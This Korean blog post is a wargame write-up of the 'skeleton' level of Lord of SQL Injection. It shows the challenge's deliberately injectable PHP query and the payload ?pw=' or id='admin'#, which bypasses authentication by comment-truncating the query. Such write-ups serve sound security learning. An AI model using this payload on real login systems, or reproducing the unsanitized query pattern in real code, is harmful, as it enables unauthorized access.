LoSi

10_LoSi_skeleton

duduranran 2022. 11. 26. 14:50
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

1. 식별과 인증이 동시에 이루어지고 있고, 뒤에 and연산자로 뭐가 더 있다.

2. preg_match로 패스워드가 필터링 돼 있지만 음 싱글쿼트나 논리연산자는 사용할 수 있다.

3. 결과적으로 $result['id']값이 admin이 들어가면 클리어.

where id='guest' and pw='{$_GET[pw]}' and 1=0"

위의 조건 where절을 보면 뭔가 길어 보이지만 간단하게 해결할 수 있다.

id값에 admin이 들어가야 하기에 id='guest'쪽을 거짓으로 만들어주고 새롭게 id='admin' 넣고 뒤를 필터링 해보자.

?pw=' or id='admin'#  //패스워드가 들어가야할 자리에 이것을 넣어보자.

 

where id='guest' and pw='' or id='admin'#' and 1=0";  (주석처리 #의 URL인코딩 값은 %23이다잉.)

가운데 or을 기준으로 좌측은 거짓이된다.(id가 guest이면서 패스워드값이 없는 데이터가 테이블이 없기 때문에)

or기준으로 우측을 보면 id가 admin인 행을 가져오라는 의미이고 밑줄친 부분은 주석처리가 되는 부분.

결과적으로 select id from prob_skeleton where id='admin' // 이 쿼리문이 실행된다. 

클리어!!

 

Clear!!

'LoSi' 카테고리의 다른 글

9_LoSi_vampire  (0) 2022.11.26
8_LoSi_Troll with preg_match()  (0) 2022.11.25
7_LoSi_orge  (1) 2022.11.24
6_LoSi_darkelf  (0) 2022.11.23
5_LoSi_wolfman with whitespace 우회  (0) 2022.11.23